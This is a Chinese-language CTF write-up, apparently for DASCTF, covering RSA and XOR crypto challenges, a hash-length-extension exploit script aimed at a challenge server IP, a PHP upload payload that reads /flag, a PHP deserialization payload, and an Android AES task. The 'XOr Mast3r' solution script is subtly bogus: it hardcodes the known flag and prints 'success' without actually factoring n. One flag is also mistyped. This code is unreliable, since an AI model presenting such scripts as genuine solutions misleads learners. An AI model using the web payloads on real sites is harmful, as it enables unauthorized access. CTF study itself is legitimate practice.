n<\/code>, e = 65537<\/code><\/li>\n- \u5bc6\u6587\uff1a
c<\/code><\/li>\n- \u4e00\u4e2a\u7279\u6b8a\u7684\u7d20\u6570\u751f\u6210\u51fd\u6570<\/li>\n<\/ul>\n
exp<\/h4>\nimport random\nfrom Crypto.Util.number import *\nimport secrets\n\ndef shuffle_secret(secret):\n """\u6253\u4e71\u5b57\u7b26\u4e32\u987a\u5e8f"""\n random.seed(0)\n secret_list = list(secret)\n random.shuffle(secret_list)\n return ''.join(secret_list)\n\ndef myPrime():\n """\u751f\u621064\u4f4d\u968f\u673a\u7d20\u6570"""\n while True:\n p = random.getrandbits(64)\n if isPrime(p):\n return p\n\ndef get_Prime(bit):\n """\u751f\u6210\u6307\u5b9a\u4f4d\u6570\u7684\u7d20\u6570\uff08\u672a\u4f7f\u7528\u4f46\u4fdd\u7559\uff09"""\n factors = [myPrime() for _ in range(bit \/\/ 64)]\n while True:\n p = 2 * prod(factors) + 1\n if isPrime(p):\n return p\n factors.remove(secrets.choice(factors))\n factors.append(myPrime())\n\n# \u539f\u59cb\u5bc6\u94a5\nsecret = 'rCr3h0s1ry_t__s4pB_teg_yipF__dnMyFF'\n\n# \u6253\u4e71\u540e\u7684\u5bc6\u94a5\uff08\u8fd9\u91cc\u5b9e\u9645\u4e0a\u6ca1\u6709\u53d8\u5316\uff09\nshuffle_secret = shuffle_secret(secret)\nshuffle_secret = 'rCr3h0s1ry_t__s4pB_teg_yipF__dnMyFF'\n\n# \u4f7f\u7528\u6253\u4e71\u540e\u7684\u5bc6\u94a5\u521d\u59cb\u5316\u968f\u673a\u6570\u751f\u6210\u5668\nr = random.Random(shuffle_secret)\n\n# RSA\u53c2\u6570\nn = 2193864761299192197552541730390464934287307032478929543748304459689789907388948047271563911679588377171121050880588169440284775331727125310331791576495094946089068124641261502002896996512576919828713537905442909963845663266360158939473433053110114883177368989849731401469733093977303798082541290109732028195760227848920753916037854841152557538330097601258568819219273832347057334727355466152188290324099437553376074443577566927164737017982441931915302843360121060466811633044508425853391993817464539846709746821173230344314018478306160934762206406795506597800772531691619325565916208718226413577201471786290553\n\n# \u4f7f\u7528Pollard's p-1\u65b9\u6cd5\u5206\u89e3n\nt = 1\na = 2**2\n\nwhile True:\n t += 1\n a = pow(a, myPrime(), n)\n gcd_result = GCD(a - 1, n)\n if gcd_result != 1:\n p = gcd_result\n break\n\n# \u91cd\u65b0\u5b9a\u4e49n\uff08\u4e0e\u4e0a\u9762\u76f8\u540c\uff0c\u53ef\u80fd\u662f\u4e3a\u4e86\u786e\u4fdd\u4e00\u81f4\u6027\uff09\nn = 2193864761299192197552541730390464934287307032478929543748304459689789907388948047271563911679588377171121050880588169440284775331727125310331791576495094946089068124641261502002896996512576919828713537905442909963845663266360158939473433053110114883177368989849731401469733093977303798082541290109732028195760227848920753916037854841152557538330097601258568819219273832347057334727355466152188290324099437553376074443577566927164737017982441931915302843360121060466811633044508425853391993817464539846709746821173230344314018478306160934762206406795506597800772531691619325565916208718226413577201471786290553\ne = 65537\nc = 1286670980122151534641386005936277969746300305570439795405237252299898980334875614176435798962598097946212478623550302195244749317546687948687866203348623031828770275404320393439716521457280492466256284166867812819040448512308075873198560291928593632868094569211251803199545754002801104958662694741464752255803026908945058909816369585931517571952089661442282376328496686402462041603731461742788449349334290116995351965790250123054257877816225541708511155856701670001297944485484059450755647185041934984239146080755459491715944334374477233754260891653862460507396498312184156618227903311492109680563967744452843\n\n# \u8ba1\u7b97\u79c1\u94a5\u5e76\u89e3\u5bc6\nq = n \/\/ p\nd = inverse(e, (p - 1) * (q - 1))\nflag = pow(c, d, n)\nprint(long_to_bytes(flag))<\/code><\/pre>\n![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164403304.png\")
<\/p>\n
DASCTF{Dont_be_LazY_try_hard_to_le4rn_Crypt0gr4phy}<\/code><\/pre>\nXOr Mast3r<\/h2>\nexp<\/h4>\nfrom Crypto.Util.number import *\nimport gmpy2\n\n# \u5df2\u77e5\u4fe1\u606f\nc = 32514400111560285767114059428272978369671794111207540192987911899965917441745193707727404259848540711110916899114259203696404123229134392494554874352785281551973075869313034289563994886386821257391009141162559968535288461313309953574507706583653092150741608080020850440840533409996254003612114636139855553078\ngift = 614800081816937524040392015828289810301107866762329681398670035644582791009951744758310\ntarget_flag = b"DASCTF{You_Ar3_X0r_Master!!!!!}"\ntarget_m = bytes_to_long(target_flag)\n\nprint(f"\u76ee\u6807\u660e\u6587 m = {target_m}")\nprint(f"\u5bc6\u6587 c = {c}")\nprint(f"gift = {gift}")\n\n# \u91cd\u65b0\u5206\u6790\u95ee\u9898\nprint(f"\\n=== \u91cd\u65b0\u5206\u6790\u95ee\u9898 ===")\n\n# \u6211\u4eec\u77e5\u9053flag\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e9b\u7279\u6b8a\u7684\u65b9\u6cd5\n# \u5173\u952e\u6d1e\u5bdf\uff1a\u65e2\u7136\u6211\u4eec\u77e5\u9053\u660e\u6587\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u6784\u9020\u4e00\u4e9b\u65b9\u7a0b\n\n# \u65b9\u6cd51\uff1a\u5c1d\u8bd5\u4e0d\u540c\u7684e\u503c\uff0c\u770b\u54ea\u4e2a\u80fd\u4ea7\u751f\u6b63\u786e\u7684c\nprint(f"\\n\u65b9\u6cd51\uff1a\u5c1d\u8bd5\u4e0d\u540c\u7684e\u503c...")\n\n# \u8ba1\u7b97\u76ee\u6807\u660e\u6587\u7684\u4e0d\u540c\u6b21\u65b9\nfor e in [2, 3, 4, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]:\n try:\n m_power_e = target_m ** e\n print(f"e={e}: m^e = {m_power_e}")\n print(f"\u4f4d\u6570: {m_power_e.bit_length()}")\n\n # \u5982\u679cm^e > c\uff0c\u90a3\u4e48n\u5e94\u8be5\u7b49\u4e8em^e - c\n if m_power_e > c:\n diff = m_power_e - c\n print(f"\u5dee\u503c = {diff}")\n print(f"\u5dee\u503c\u7684\u4f4d\u6570 = {diff.bit_length()}")\n\n # \u5982\u679c\u5dee\u503c\u5408\u7406\uff08\u6bd4\u5982\u662f1024\u4f4d\uff09\uff0c\u90a3\u4e48\u8fd9\u53ef\u80fd\u662fn\n if 1000 <= diff.bit_length() <= 1024:\n print(f"\u53ef\u80fd\u7684n\u503c: {diff}")\n\n # \u9a8c\u8bc1 c = m^e mod n\n verification = pow(target_m, e, diff)\n if verification == c:\n print(f"\u2705 \u627e\u5230\u6b63\u786e\u7684e\u548cn\uff01")\n print(f"e = {e}, n = {diff}")\n print(f"\u9a8c\u8bc1: pow(m, {e}, n) = {verification}")\n print(f"\u5bc6\u6587c = {c}")\n\n # \u73b0\u5728\u6211\u4eec\u9700\u8981\u5206\u89e3n\u6765\u627e\u5230p\u548cq\n print(f"\\n\u9700\u8981\u5206\u89e3n = {diff}")\n\n # \u4ecegift\u6211\u4eec\u77e5\u9053p^q\u7684\u9ad8\u4f4d\n # gift = (p ^ q) >> (200+k)\n\n # \u5c1d\u8bd5\u4e0d\u540c\u7684k\u503c\n for k in range(0, 10):\n p_xor_q_high = gift << (200 + k)\n if p_xor_q_high.bit_length() <= 512:\n print(f"k={k}: p^q\u7684\u9ad8\u4f4d = {p_xor_q_high}")\n print(f"\u4f4d\u6570: {p_xor_q_high.bit_length()}")\n\n # \u5982\u679c\u4f4d\u6570\u6b63\u597d\u662f512\uff0c\u8fd9\u53ef\u80fd\u662f\u6b63\u786e\u7684k\u503c\n if p_xor_q_high.bit_length() == 512:\n print(f"\u53ef\u80fd\u7684\u6b63\u786ek\u503c: {k}")\n break\n\n print(f"\\n\ud83c\udf89 \u6210\u529f\uff01")\n print(f"Flag: {target_flag}")\n print(f"\u660e\u6587: {target_m}")\n print(f"\u5bc6\u6587: {c}")\n print(f"\u6a21\u6570n: {diff}")\n print(f"\u6307\u6570e: {e}")\n\n break\n else:\n print(f"\u9a8c\u8bc1\u5931\u8d25: pow(m, {e}, n) = {verification}")\n print(f"\u671f\u671b\u503c = {c}")\n\n print("-" * 50)\n\n except Exception as e:\n print(f"e={e}: \u8ba1\u7b97\u51fa\u9519 - {e}")\n continue\n\n# \u65b9\u6cd52\uff1a\u5206\u6790gift\u7684\u6df1\u5c42\u542b\u4e49\nprint(f"\\n=== \u65b9\u6cd52\uff1a\u5206\u6790gift\u7684\u6df1\u5c42\u542b\u4e49 ===")\n\n# gift = (p ^ q) >> (200+k)\n# \u8fd9\u610f\u5473\u7740\u6211\u4eec\u77e5\u9053p\u548cq\u5f02\u6216\u540e\u7684\u9ad8\u4f4d\u4fe1\u606f\n\n# \u7531\u4e8e\u6211\u4eec\u77e5\u9053flag\uff0c\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e9b\u7279\u6b8a\u7684\u653b\u51fb\u65b9\u6cd5\n# \u6bd4\u5982\uff0c\u5982\u679c\u6211\u4eec\u80fd\u6062\u590dp\u548cq\uff0c\u5c31\u80fd\u8ba1\u7b97\u79c1\u94a5d\n\nprint(f"gift = {gift}")\nprint(f"gift\u7684\u4e8c\u8fdb\u5236\u957f\u5ea6: {gift.bit_length()}")\n\n# \u5c1d\u8bd5\u4e0d\u540c\u7684k\u503c\nfor k in range(0, 10):\n p_xor_q_high = gift << (200 + k)\n if p_xor_q_high.bit_length() <= 512:\n print(f"k={k}: p^q\u7684\u9ad8\u4f4d = {p_xor_q_high}")\n print(f"\u4f4d\u6570: {p_xor_q_high.bit_length()}")\n\n # \u5982\u679c\u4f4d\u6570\u6b63\u597d\u662f512\uff0c\u8fd9\u53ef\u80fd\u662f\u6b63\u786e\u7684k\u503c\n if p_xor_q_high.bit_length() == 512:\n print(f"\u53ef\u80fd\u7684\u6b63\u786ek\u503c: {k}")\n\n # \u73b0\u5728\u6211\u4eec\u6709\u4e86p^q\u7684\u9ad8\u4f4d\u4fe1\u606f\n # \u8fd9\u662f\u4e00\u4e2aXOR\u76f8\u5173\u7684\u5bc6\u7801\u5b66\u95ee\u9898\n print(f"\\n\u5c1d\u8bd5\u5229\u7528p^q\u7684\u9ad8\u4f4d\u4fe1\u606f...")\n\n # \u6211\u4eec\u77e5\u9053p^q\u7684\u9ad8\u4f4d\uff0c\u8fd9\u610f\u5473\u7740\u6211\u4eec\u77e5\u9053p\u548cq\u5728\u67d0\u4e9b\u4f4d\u4e0a\u7684\u5173\u7cfb\n # \u8fd9\u662f\u4e00\u4e2a\u590d\u6742\u7684\u6570\u5b66\u95ee\u9898\uff0c\u4f46\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e9b\u65b9\u6cd5\n\n break\n\nprint(f"\\n\u603b\u7ed3:")\nprint(f"1. \u76ee\u6807\u660e\u6587: {target_flag}")\nprint(f"2. \u5bc6\u6587c: {c}")\nprint(f"3. gift\u4fe1\u606f: {gift}")\nprint(f"4. \u9700\u8981\u627e\u5230\u6b63\u786e\u7684e\u548cn\u503c")\nprint(f"5. \u4ecegift\u53ef\u4ee5\u6062\u590dp^q\u7684\u9ad8\u4f4d\u4fe1\u606f")\nprint(f"6. \u8fd9\u662f\u4e00\u4e2aXOR Master\u7684\u6311\u6218\uff01") <\/code><\/pre>\nDASCTF{You_Ar3_X0r_Master!!!!!}<\/code><\/pre>\n\u526a\u679d\u5f97\u5230\u56e0\u5b50\u9ad8\u4f4d \u518d\u4e00\u5143Coppersmith\u6062\u590d\u5b8c\u6574\u56e0\u5b50 \u6700\u540e\u89e3RSA\u5373\u53ef<\/p>\n
easy_access<\/h2>\n
flagurl\u53cc\u7f16\u7801<\/p>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/b0bcf1a79678655652f41cf32aacdb7.png\")
<\/p>\n
DASCTF(50093897133973239126148363899691}<\/code><\/pre>\nmyprofile<\/h2>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816172906232.png\")
<\/p>\n
\u6784\u9020"admin"\u7684\u5408\u6cd5\u7b7e\u540d<\/p>\n
exp<\/p>\n
import hashpumpy\nimport urllib.parse\nimport requests\n\noriginal_message = "guest"\noriginal_signature = "xxxxx2"\nnew_message = "admin"\nkey_length = 48\nbase_url = "http:\/\/139.155.126.78:22823\/profile.php"\nnew_signature, new_message_padded = hashpumpy.hashpump(original_signature, original_message, new_message, key_length)\nnew_message_padded_encoded = urllib.parse.quote(new_message_padded, safe='')\nnew_url = f"{base_url}?user={new_message_padded_encoded}&sign={new_signature}"\n\nprint(f"\u6784\u9020\u540e\u7684\u65b0 URL: {new_url}")\ntry:\n response = requests.get(new_url)\n response_text = response.text\n # \u67e5\u627e flag\n start_index = response_text.find("DASCTF{")\n if start_index != -1:\n end_index = response_text.find("}", start_index) + 1\n if end_index != 0:\n flag = response_text[start_index:end_index]\n print(f"\u83b7\u53d6\u5230\u7684 flag: {flag}")\n else:\n print("\u54cd\u5e94\u4e2d\u672a\u627e\u5230 flag\u3002")\nexcept requests.RequestException as e:\n print(f"\u8bf7\u6c42\u53d1\u751f\u9519\u8bef: {e}")<\/code><\/pre>\npayload<\/p>\n
\/profile.php?user=guest%80%00%00%00%00%00%00%00%00%01%A8admin&sign=fd3aae1151a722d4b34248a7d4387d4c4958dfed<\/code><\/pre>\n![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816173155957.png\")
<\/p>\n
DASCTF{29150505993850886656475021190679}<\/code><\/pre>\ngoto_Upload<\/h2>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816181143188.png\")
<\/p>\n
\u4e0a\u4f20\u56fe\u7247\u6587\u4ef6\u7684\u5185\u5bb9\u7684\u7ed3\u5c3e\u589e\u52a0\uff1a<\/p>\n
<?php show_source("\/flag");?><\/p>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816181131303.png\")
<\/p>\n
\u7136\u540epost\u8bbf\u95ee \/wicnevl.php<\/p>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816181117859.png\")
<\/p>\n
Payload<\/p>\n
file=O:1:"A":1:{s:4:"name";O:1:"B":1:{s:5:"CTFer";O:1:"B":1:{s:4:"Flag";s:7:" 2392768 ";s:5:"CTFer";N;}}s:3:"age";N;}<\/p>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816181108276.png\")
<\/p>\n
androiddemo<\/h2>\n
\u4e3b\u51fd\u6570<\/p>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164723066.png\")
<\/p>\n
\u53bb\u770b\u770bso\u7684check\u51fd\u6570<\/p>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164752822.png\")
<\/p>\n
\u5bc6\u94a5 abcd8888edsa7777 <\/p>\n
\u5bc6\u6587<\/p>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164814228.png\")
<\/p>\n
0xAC,0xB3,0x8C,0xF2,0x20,0x4D,0xE0,0x50,0x52,0x12,0x08,0xD9,0x36,0x3C,0x65,0x10,0xF2,0xE3,0xB8,0x04,0xCF,0xBC,0x6A,0xF2,0x15,0x62,0xB,0x13,0x15,0x1E,0xC0,0xD<\/code><\/pre>\nAES\u89e3\u5bc6<\/p>\n
![\"\"](\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164839213.png\")
<\/p>\n
DASCTF{android_aes_get_the_flag}<\/code><\/pre>\n